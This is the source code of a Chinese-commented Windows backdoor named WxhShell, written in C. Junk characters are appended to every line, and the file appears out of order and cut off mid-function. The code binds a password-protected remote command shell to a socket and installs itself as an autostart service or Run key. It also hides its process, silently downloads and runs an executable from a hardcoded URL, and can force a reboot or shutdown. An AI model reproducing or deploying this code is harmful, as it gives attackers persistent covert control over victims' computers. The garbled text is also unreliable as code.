    if(Boot(SHUTDOWN)) XKks j!'B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YH<@->Ip  
    else { -[ ^wYr=  
    closesocket(wsh); H{yPi7 P  
    ExitThread(0); dr'6N1B@  
    } "_?^uymw  
    break; $PrzJc  
    } eRVu/TY  
  // 获取shell [POy" O  
  case 's': { 1/HPcCsHb  
    CmdShell(wsh); fK4laDB TO  
    closesocket(wsh); 35&&*$Jm  
    ExitThread(0); fF-V=Zf5  
    break; m#8}!u&  
  } !Z4,UTu|Q  
  // 退出 K''b)v X4  
  case 'x': { Ir0er~f+z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <a$cB+t  
    CloseIt(wsh); >vP^l {SD  
    break; 3P #1fI(c  
    } Or_9KX2  
  // 离开 SxOM@A  
  case 'q': { R^PQ`$W 'R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y{v*iH<  
    closesocket(wsh); @XmMD6{<  
    WSACleanup(); -p%=36n  
    exit(1); Y~Jq!  
    break; ?d_<S0j-)  
        } J+.t \R  
  } !w C4ei`  
  } '}!dRpx  
xmVK{Q YT$  
  // 提示信息 kV(?u_ R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _a.Q@A4'  
} { ET+V  
  } `8'|g8,wb0  
wHIS}OONz  
  return; ):.]4n{L  
} $"_D"/*  
lJU[9)Q_  
// shell模块句柄 !).D  
int CmdShell(SOCKET sock) bgEUG  
{ ,l@hhaLm?  
STARTUPINFO si; d}WAP m  
ZeroMemory(&si,sizeof(si)); Zu+Z7@$}/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ueqR@i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lI&0 V5  
PROCESS_INFORMATION ProcessInfo; ){wE)NN  
char cmdline[]="cmd"; &}P62&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zL7+HY* 3o  
  return 0; */Y@:Sjf  
} -M/ny-; `}  
'X[3y^q  
// 自身启动模式 T?% F  
int StartFromService(void) 8ALYih7"W  
{ KH[%HN5v  
typedef struct .|o7YTcR:  
{ -bE{yT)7  
  DWORD ExitStatus; 6BMRl%3>Z  
  DWORD PebBaseAddress; `Th!bk  
  DWORD AffinityMask; |'a5n h!  
  DWORD BasePriority; |yqx ]  
  ULONG UniqueProcessId; ]@Zj-n8  
  ULONG InheritedFromUniqueProcessId; %>pglI  
}   PROCESS_BASIC_INFORMATION; 3Vt-]DGX  
YSeXCJ:Iy  
PROCNTQSIP NtQueryInformationProcess; 2MJ0[9  
T!J\Dm-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 18|H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -a/5   
xe%+Yb]  
  HANDLE             hProcess; K b{  
  PROCESS_BASIC_INFORMATION pbi; P 7gS M  
( R Ttz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q/&Z6LJ)  
  if(NULL == hInst ) return 0; gLu#M:4N  
@(oz`|*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jh}[7M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kOJs;k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + PGfQN  
J6&;pCAi  
  if (!NtQueryInformationProcess) return 0; o6oZk0  
aS62S9nwX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ']4sx_)S  
  if(!hProcess) return 0; +vJ[k2d  
V#5BZU-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u:"mq.Q  
5C2 *f 4|  
  CloseHandle(hProcess); $t[`}I }  
Wh 8fC(BE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); idGM%Faur  
if(hProcess==NULL) return 0; HJoPk'p%  
o;-)84Aa  
HMODULE hMod; %mh K1,  
char procName[255]; fWF\ V[  
unsigned long cbNeeded; (hdP(U77  
[o\O^d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @[.%A;E4  
PNc^)|4^Q  
  CloseHandle(hProcess); 8?P@<Do%  
xZbm,. v  
if(strstr(procName,"services")) return 1; // 以服务启动 Exk[;lI  
3 uhwoE  
  return 0; // 注册表启动 /]iv9e{uh(  
} zj"J~s;?  
nv@$'uQRp  
// 主模块 JdFMSmZ@  
int StartWxhshell(LPSTR lpCmdLine) Dj #G{X".  
{ =Tb~CT=  
  SOCKET wsl; @yS  
BOOL val=TRUE; |cUlXg=  
  int port=0; !<@k\~9^D  
  struct sockaddr_in door; C6:<.`iD87  
EZE/~$`3   
  if(wscfg.ws_autoins) Install(); 9`QWqu[  
p\1[cz)B  
port=atoi(lpCmdLine); Y0aO/6  
ep>S$a*|  
if(port<=0) port=wscfg.ws_port; 1}B W   
Ah) _mxK  
  WSADATA data; %/-Z1Nv*#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |oC&;A  
WF-B=BRZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vgo-[^FiP$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IWsB$T  
  door.sin_family = AF_INET; |j<b?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mEr* n  
  door.sin_port = htons(port); *ZF7m_8u{  
(X QgOR#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9bq#&~+  
closesocket(wsl); a]BnHLx  
return 1; ! E#XmYhX=  
} 8yA :C  
KP -g<Zc  
  if(listen(wsl,2) == INVALID_SOCKET) { 2< w/GX.  
closesocket(wsl); p!|ok #sW  
return 1; 2?nK71c"  
}  r,!7TuBl  
  Wxhshell(wsl); l7 j3;Ly  
  WSACleanup(); w*uHB;?  
4:y;<8+j\  
return 0; a UAPh  
Q!z g=_z-  
} K q: +{'  
`BdZqXKG  
// 以NT服务方式启动 W5<1@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  9 k)?-  
{ M)!8 `]  
DWORD   status = 0; m .le' &  
  DWORD   specificError = 0xfffffff; +^1H tI|y  
=YR/X@&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]SFB_5Gb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yE. ZvvQA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %o.{h  
  serviceStatus.dwWin32ExitCode     = 0; wk<QYLEk  
  serviceStatus.dwServiceSpecificExitCode = 0; i$?i1z*c}  
  serviceStatus.dwCheckPoint       = 0; kQRNVdiz  
  serviceStatus.dwWaitHint       = 0; /<\>j+SC  
6,ylk f3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ICTl{|i ]  
  if (hServiceStatusHandle==0) return; _6;T /_R=  
[mYmrLs6  
status = GetLastError(); P"cc$lB~I  
  if (status!=NO_ERROR) K)`, |q* \  
{ (B.J8`h }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =.#*MYB.l  
    serviceStatus.dwCheckPoint       = 0; DO'$J9;*  
    serviceStatus.dwWaitHint       = 0; Ps4spy0Fp  
    serviceStatus.dwWin32ExitCode     = status; RM|<(kq  
    serviceStatus.dwServiceSpecificExitCode = specificError; @f-0OX$*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ygW,4Vz7J  
    return; hug8Hhf_&  
  } B- N  
Qb!9QlW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g|a2z_R  
  serviceStatus.dwCheckPoint       = 0; ~^2Y*|{)  
  serviceStatus.dwWaitHint       = 0; WJ9Jj69  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \/p\QT@mm  
} S^]i  
D"oyl`q  
// 处理NT服务事件,比如:启动、停止 %u-l6<w# R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U~azI(1"W  
{ w&8gA[y*u  
switch(fdwControl) {a-p/\U  
{ lY yt8H  
case SERVICE_CONTROL_STOP: U< |kA(5  
  serviceStatus.dwWin32ExitCode = 0; B8NOPbT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ExqI=k`Zs  
  serviceStatus.dwCheckPoint   = 0; bEfxu;Su 3  
  serviceStatus.dwWaitHint     = 0; S\ JV96  
  { Fyrr,#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }rz}>((ZHF  
  } { aqce g  
  return; r3<yG"J86  
case SERVICE_CONTROL_PAUSE: 3rhH0{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uli,@5%\  
  break; 7_)'Re#  
case SERVICE_CONTROL_CONTINUE: /v 7U~i5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h`F8GNx(  
  break; P^#<h"Ht  
case SERVICE_CONTROL_INTERROGATE: "15mOW(!+  
  break; i=#<0!m  
}; K]yCt~A$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W2J"W=:z  
} =ltT6of@o  
':lADUt  
// 标准应用程序主函数 %,Xs[[?i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w+(bkqz]  
{ +FRXTku(  
y)X1!3~(  
// 获取操作系统版本 D|} y{~  
OsIsNt=GetOsVer(); r'wam]1Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  k)o D  
BFc=GiPnQ  
  // 从命令行安装 Jf{6'Ub  
  if(strpbrk(lpCmdLine,"iI")) Install(); q$7WZ+Y\  
y((I2g1rv  
  // 下载执行文件 jXB<"bw  
if(wscfg.ws_downexe) { d#cw`h<c~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $q);xs  
  WinExec(wscfg.ws_filenam,SW_HIDE); %:yJ/&-Q,Z  
} 9IZ}}x  
T|`nw_0  
if(!OsIsNt) { fx2r\ usX[  
// 如果时win9x,隐藏进程并且设置为注册表启动 PB*m D7"  
HideProc(); NCbn<ojb  
StartWxhshell(lpCmdLine); gF,9Kv~  
} m~mw1r  
else #?-2f{  
  if(StartFromService()) |pqc(B u  
  // 以服务方式启动 *U|K~dl]K  
  StartServiceCtrlDispatcher(DispatchTable); Z_Ffiw(p  
else *P]FX-D3  
  // 普通方式启动 *J,VvO 9  
  StartWxhshell(lpCmdLine); J@ZIW%5  
`3m7b!0k  
return 0; h BD .IB  
} ^u`1W^>  
kBg,U8|S  
YMx]i,u'+  
N K.]yw'  
=========================================== N# $ob 9  
P0,@#M&  
Ry9kGdqO  
3.>M=K~09  
1{{z[w#  
}xXUCU<  
" Dz4e.tvN  
;G_{$)P.o  
#include <stdio.h> FY1 >{Bn  
#include <string.h> I~ Q2jg2  
#include <windows.h> },<(VhP  
#include <winsock2.h> \2F{r<A\@  
#include <winsvc.h> nKpXRuFn\  
#include <urlmon.h> 6z (7l  
=Ji+GJ <,9  
#pragma comment (lib, "Ws2_32.lib") lr[U6CJY  
#pragma comment (lib, "urlmon.lib") WrJgU&H{  
 {}>s0B  
#define MAX_USER   100 // 最大客户端连接数 +P YX.  
#define BUF_SOCK   200 // sock buffer _D<=Yo  
#define KEY_BUFF   255 // 输入 buffer Itaq4^CE  
&GMBvmP  
#define REBOOT     0   // 重启 ;nS.t_UW.  
#define SHUTDOWN   1   // 关机 84(NylZ  
YQ/  
#define DEF_PORT   5000 // 监听端口 ]34fG3D|  
|qe[`x; %  
#define REG_LEN     16   // 注册表键长度 ^\o3V<  
#define SVC_LEN     80   // NT服务名长度 cP8g. +  
ktE~)G  
// 从dll定义API }.`no  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]/31@RT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^!a4!DGVT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?w/i;pp<,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gs`[\<;LI  
LdAWCBLS  
// wxhshell配置信息 &|6 A 8,  
struct WSCFG { :'hc&wk`  
  int ws_port;         // 监听端口  C=k]g  
  char ws_passstr[REG_LEN]; // 口令 ~O|g~H5;  
  int ws_autoins;       // 安装标记, 1=yes 0=no @-B)a Z  
  char ws_regname[REG_LEN]; // 注册表键名 (tG8HwV-  
  char ws_svcname[REG_LEN]; // 服务名 OO$YwOKS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _-MILkx\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'c]Fhe fb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4\?z^^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (%N=7?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S1d^mu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R_JB`HFy=  
/2s=;tA1  
}; /J@<e{&t~  
1:Sq?=&  
// default Wxhshell configuration r^g"%nq9/  
struct WSCFG wscfg={DEF_PORT, 3haR/Y N  
    "xuhuanlingzhe", ^$>Q6.x?*)  
    1, Qk5pRoL_  
    "Wxhshell", ;*J_V/&?  
    "Wxhshell", ^Kbq.4  
            "WxhShell Service", )c6t`SBwi  
    "Wrsky Windows CmdShell Service", 0gevn  
    "Please Input Your Password: ", |!Uul0O  
  1, }F B]LLi  
  "http://www.wrsky.com/wxhshell.exe", *(+*tj cWa  
  "Wxhshell.exe" )I{~Pcq  
    }; r*F^8_YMK  
/s~(? =qYH  
// 消息定义模块 +<})`(8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Vb57B.I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jn\@wF9xd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h 2QJQ|7a  
char *msg_ws_ext="\n\rExit."; >LAhc7I  
char *msg_ws_end="\n\rQuit."; nSSj&q-O  
char *msg_ws_boot="\n\rReboot..."; lWyg_YO@  
char *msg_ws_poff="\n\rShutdown..."; Efa3{ 7>{  
char *msg_ws_down="\n\rSave to "; AqZ()p*z  
yDORL| E'  
char *msg_ws_err="\n\rErr!"; ^D]y<@01  
char *msg_ws_ok="\n\rOK!"; kJ_XG;8  
}i F|NIV  
char ExeFile[MAX_PATH]; N5F+h94z]  
int nUser = 0; e~1$x`DH  
HANDLE handles[MAX_USER]; Hw\hTTK  
int OsIsNt; .-mlV ^  
 _(_U=  
SERVICE_STATUS       serviceStatus; Xw'Y &!z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zI& ).  
@xkI?vK6  
// 函数声明 CkeqK  
int Install(void); ]vQU(@+I  
int Uninstall(void); 4 yDWVd;  
int DownloadFile(char *sURL, SOCKET wsh); ] <y3;T\~  
int Boot(int flag); '-2|GX_o  
void HideProc(void); C'&t@@:  
int GetOsVer(void); Yw6d-5=:  
int Wxhshell(SOCKET wsl); XTKAy;'5  
void TalkWithClient(void *cs); d-ML[^G  
int CmdShell(SOCKET sock); 3FQXp  
int StartFromService(void); /zTx+U.\I  
int StartWxhshell(LPSTR lpCmdLine); @~j- -L  
'iikcf*)C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rhH !-`m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {^N90,!  
o#frNT}  
// 数据结构和表定义 Q39;bz  
SERVICE_TABLE_ENTRY DispatchTable[] =  $1.l|  
{ 9oA-Swc[  
{wscfg.ws_svcname, NTServiceMain}, FX&)~)  
{NULL, NULL} <,+6:NmT  
}; fK1^fzV  
^!x}e+ o  
// 自我安装 ibxtrt=  
int Install(void) Y6ORI  
{ z\6/?5D#v  
  char svExeFile[MAX_PATH]; e =4k|8G  
  HKEY key; -z?O^:e#x  
  strcpy(svExeFile,ExeFile); ?{KC@c*c  
G}0fk]%\:  
// 如果是win9x系统,修改注册表设为自启动 E|BiK  
if(!OsIsNt) { 0qk.NPMB0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -) \!@n0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !k0t (.  
  RegCloseKey(key); V1>>]]PS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zmp Q=%/H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yL%k5cO$N  
  RegCloseKey(key); S$%Y{  
  return 0; :taRCh5  
    } Fwfe5`9'  
  } /u N3"m5i  
} K0\Wty0  
else { Dwi[aC+k  
cwKOE?!  
// 如果是NT以上系统,安装为系统服务 liG3   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V[BlT|t  
if (schSCManager!=0) $jKeJn8,  
{ 8- ]7>2?_  
  SC_HANDLE schService = CreateService G)wIxm$?0  
  ( ^><B5A>;  
  schSCManager, `@r#o&  
  wscfg.ws_svcname, hR3Pa'/i  
  wscfg.ws_svcdisp, ;3k6_ub  
  SERVICE_ALL_ACCESS, 26\*x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8L}N,6gC4_  
  SERVICE_AUTO_START, ky5gU[  
  SERVICE_ERROR_NORMAL, 9,;+B8-A  
  svExeFile, 4!r> ^a  
  NULL, NurbioFL  
  NULL, Ch9A6?=Hj8  
  NULL, qnZ`]?  
  NULL, BA+:}81&<q  
  NULL d#eHX|+  
  ); :`ysq  
  if (schService!=0) S-:7P.#Q  
  { C4P7,  
  CloseServiceHandle(schService); x6x6N&f?  
  CloseServiceHandle(schSCManager); 5B<G;if,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sE8.,\  
  strcat(svExeFile,wscfg.ws_svcname); u? f3&pA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E4'D4@\W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uhLg2G^h  
  RegCloseKey(key); 6YZ&>` a^  
  return 0; : |c,.uO  
    } VrokEK*qbY  
  } 32IN;X|  
  CloseServiceHandle(schSCManager); XjwTjgL<  
} *X;g Y  
} <>JDA(F"  
wz!]]EQ!o  
return 1; GfQP@R"  
} 7,e=|%7.  
`q exEk@S  
// 自我卸载 FJ}QKDQW=  
int Uninstall(void) EVj48  
{ f41!+W=  
  HKEY key; Hf %;FaJ=  
' U)~|(\i  
if(!OsIsNt) { {-S0m=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A?;/]m;  
  RegDeleteValue(key,wscfg.ws_regname); yg2~qa:dZ  
  RegCloseKey(key); @ec QVk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jq["z<V )x  
  RegDeleteValue(key,wscfg.ws_regname); zoOm[X=?3  
  RegCloseKey(key); A}\Rms 2  
  return 0; @Ds?  
  } hP,1;`[1  
} !T0IMI  
} zPV/{)S  
else { &nn.h@zje  
~|J6M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u3,b,p  
if (schSCManager!=0) oqDW}>.  
{ FZA8@J|Q4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^[%~cG  
  if (schService!=0) &r<<4J(t  
  { z4-AOTo2y  
  if(DeleteService(schService)!=0) { >uOc#+5M.  
  CloseServiceHandle(schService); O:7y-r0i  
  CloseServiceHandle(schSCManager); K)Db3JIIk  
  return 0; g\(7z P  
  } V7401@F  
  CloseServiceHandle(schService); C [2tH2*#  
  } Y\p yl  
  CloseServiceHandle(schSCManager); X Y4s  
} RV(}\JU  
} g'Xl>q  
:{66WSa@Dd  
return 1; )cqhbR  
} &`TX4b^/!  
Wt3\&.n  
// 从指定url下载文件 FxZ\)Y   
int DownloadFile(char *sURL, SOCKET wsh) 2CxdNj  
{ ao-C9|2>NU  
  HRESULT hr; #Y18z5vo  
char seps[]= "/"; ~!A,I 9  
char *token; II<<-Y6  
char *file; ufR |  
char myURL[MAX_PATH]; J)fS2Ni+  
char myFILE[MAX_PATH]; _ _)Z Q  
;JmD(T7{  
strcpy(myURL,sURL); `a6;*r y  
  token=strtok(myURL,seps); f8&=D4)-w  
  while(token!=NULL) 2#!$f_  
  { M}5C;E*  
    file=token; ,Xh4(Gn#b  
  token=strtok(NULL,seps); }dXL= ul  
  } )nJ>kbO~8  
!X.N$0  
GetCurrentDirectory(MAX_PATH,myFILE); 2hp x%H  
strcat(myFILE, "\\"); R*[ACpxr  
strcat(myFILE, file); 1Xs! ew)>  
  send(wsh,myFILE,strlen(myFILE),0); =;{S>P!I(t  
send(wsh,"...",3,0); !J71[4t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?B}>[  
  if(hr==S_OK) TRq~n7Y7C  
return 0; 8p211MQ<  
else FCe503qND$  
return 1; SUVr&S6Nk  
#YNb&K n  
} !.J~`Y'd_  
Sph+kiy|  
// 系统电源模块 {Y@[hoHtF  
int Boot(int flag) 2~@=ua[|=5  
{ A |&EI-In  
  HANDLE hToken; .6"7Xxe]<  
  TOKEN_PRIVILEGES tkp; C}>&#)IH  
UF{2Gx  
  if(OsIsNt) { 9e=*jRs]l^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @fK`l@K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qpc{7#bp  
    tkp.PrivilegeCount = 1; MJC Yi<D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4Oy c D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oD8-I^  
if(flag==REBOOT) { fU}w81oe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qm-P& g-  
  return 0; ?~K2&eo  
} hnZHu\EJ  
else { C[pDPx,#:G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s_[?(Ip{  
  return 0; Iu[EUi!"  
} Mm;)O'XDE  
  } pE< ' '`  
  else { x -!FS h8q  
if(flag==REBOOT) { !+6l.`2WI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1=X=jPwO C  
  return 0; 6vA5L_  
} tWiV0PTI  
else { *O5+?J Z!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $>UzXhf}\  
  return 0; 6)$_2G%Zq  
} %FU[ j^  
} qcot T\rq  
t5k&xV=~ #  
return 1; yU.0'r5uR  
} 7" [;M  
n`,Q:  
// win9x进程隐藏模块 US|vYd}u+  
void HideProc(void) w}0Qy  
{ f3>/6 C  
$VA4% 9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = I(s7=Liu  
  if ( hKernel != NULL ) rYJ ))@  
  { *LRGfk+h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !D3}5A1,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9zyN8v2  
    FreeLibrary(hKernel); #+;=ijyF  
  } .{ -yveE  
yFt7fdl2  
return; 0Nu]N)H5<l  
} *ls6#j@  
UjaC( c  
// 获取操作系统版本 o zYI/b^  
int GetOsVer(void) >I?Mi{'a  
{ =oME~oB~  
  OSVERSIONINFO winfo; d eoM~r9s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )ta5y7np  
  GetVersionEx(&winfo); u B\& Q;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @:&+wq_>A^  
  return 1; fhmr*E'J  
  else S nHAY <  
  return 0; F4x7;?W{*  
} %SGO"*_  
WDdi}i>2  
// 客户端句柄模块 tZ^;{sM  
int Wxhshell(SOCKET wsl) /wE_eK.  
{ s%oAsQ_y  
  SOCKET wsh; `4 bd,  
  struct sockaddr_in client; 0*?XQV@  
  DWORD myID; _,FoXf7  
e<4z)  
  while(nUser<MAX_USER) k~f+LO  
{ /8}+# h)[  
  int nSize=sizeof(client); V|\A?   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DA$Q-  
  if(wsh==INVALID_SOCKET) return 1; 2\{uq v  
o%%x'uC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $ud>Z;X=P  
if(handles[nUser]==0) ]7kGHIJ|  
  closesocket(wsh); ?d<:V.1U@  
else e6HlOGPVQH  
  nUser++; _[i=TqVmf  
  } i*R:WTw#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W \}}gIEM+  
yH%+cmp7  
  return 0; S}^s 5ztm  
} ~'J =!Xy  
kA%OF*%|6  
// 关闭 socket B" m:<@ "  
void CloseIt(SOCKET wsh) =9 M|o0aY  
{ 8TZA T%4  
closesocket(wsh); I"sobZ`  
nUser--; K#UA M .  
ExitThread(0); ]ZGvRA&  
} #A/J^Ko  
{]\uR-a(o  
// 客户端请求句柄 _8li4;F  
void TalkWithClient(void *cs) u45h{i-e  
{ fsJTwSI["  
/;nO<X:XV  
  SOCKET wsh=(SOCKET)cs; A Ok7G?Y  
  char pwd[SVC_LEN]; S~rVRC"<xo  
  char cmd[KEY_BUFF]; 4 uy@ {  
char chr[1]; ;Nf hKu%K  
int i,j; y'!p>/%v  
~|Ih JzDt  
  while (nUser < MAX_USER) { EB2^]?  
qa$[L@h>  
if(wscfg.ws_passstr) { 7 Mki?EG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k;fnC+Y$s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J4Z<Yt/  
  //ZeroMemory(pwd,KEY_BUFF); im \ YL<  
      i=0; x|v[Dxf]  
  while(i<SVC_LEN) { xeYySM=  
Ec*--]j*c  
  // 设置超时 e,#+Xx0M  
  fd_set FdRead; bOxjm`B<  
  struct timeval TimeOut; ;;y@z[ >  
  FD_ZERO(&FdRead); 0J:U\S  
  FD_SET(wsh,&FdRead); U.pr} hq  
  TimeOut.tv_sec=8; &Qq/Xi,bZ  
  TimeOut.tv_usec=0; Eo { 1y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZU| V+yT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j |'# 5H`  
BBU84s[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jl}!CE@-  
  pwd=chr[0]; F@_Egi  
  if(chr[0]==0xd || chr[0]==0xa) { D)*_{   
  pwd=0; (ciGLfNG  
  break; #>E3'5b   
  } Y1yXB).AH8  
  i++; UYcyk $da  
    } Q_dXRBv=n  
3)C6OF>7  
  // 如果是非法用户,关闭 socket hHfe6P |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o]|oAN9  
} S& ,Ju%  
Gh$y#0qr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %qNj{<&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rY[3_NG%  
P,$ [|)[E  
while(1) { ~4=]%XYz  
|~/3u/  
  ZeroMemory(cmd,KEY_BUFF); U9@t?j_#X{  
}"&n[/8~  
      // 自动支持客户端 telnet标准   (b`4&sQ<  
  j=0; f\x@ C)E  
  while(j<KEY_BUFF) { d6t)gG*5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (s V]UGrZ  
  cmd[j]=chr[0]; Sg CqxFii  
  if(chr[0]==0xa || chr[0]==0xd) { w| -0@  
  cmd[j]=0; w!B,kqTG  
  break; SmT+L,:D  
  } Y'<uZl^aX  
  j++; _ bXVg3oDt  
    } %2@ Tj}xa  
(6ohrM>Q  
  // 下载文件 *c~'0|r  
  if(strstr(cmd,"http://")) { d5w_[=9U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z^ aCQ3E  
  if(DownloadFile(cmd,wsh)) jpYw#]Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pg*?[^*  
  else Z%Tq1O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vCy.CN$  
  } dl*_ m3T  
  else { m6bWmGn GC  
3JlC/v#0  
